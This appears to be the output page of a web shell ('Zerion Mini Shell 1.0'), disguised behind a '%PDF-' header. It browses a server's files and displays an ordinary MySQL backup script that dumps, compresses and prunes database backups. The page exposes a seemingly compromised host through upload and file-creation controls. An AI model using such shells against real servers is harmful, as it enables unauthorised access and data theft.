%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/scripts2/attic/
Upload File :
Create Path :
Current File : //proc/self/root/scripts2/attic/backup-mysql.sh

#! /bin/bash

TODAY=`date +%Y-%m-%d`
BACKUP_DIRECTORY=/backup

if [ ! -d ${BACKUP_DIRECTORY}/mysql ]; then
	mkdir -p ${BACKUP_DIRECTORY}/mysql
fi

chmod 700 ${BACKUP_DIRECTORY}/mysql

renice 19 -p $$

# Backuping ...

mkdir ${BACKUP_DIRECTORY}/mysql/${TODAY}

if [ -f /usr/bin/ionice ]; then
	IO_NICE_CMD="ionice -c2 -n7"
fi

echo "Backuping mysql databases ..."

for DATABASE in `echo "show databases" | /usr/bin/mysql -N`; do
        nice -n 19 ${IO_NICE_CMD} /usr/bin/mysqldump -f ${DATABASE} > ${BACKUP_DIRECTORY}/mysql/${TODAY}/${DATABASE}.sql
        nice -n 19 ${IO_NICE_CMD} /bin/gzip ${BACKUP_DIRECTORY}/mysql/${TODAY}/${DATABASE}.sql
done

cd ${BACKUP_DIRECTORY}/mysql
find ${BACKUP_DIRECTORY}/mysql  -atime +5 -exec rm -f {} \;

Zerion Mini Shell 1.0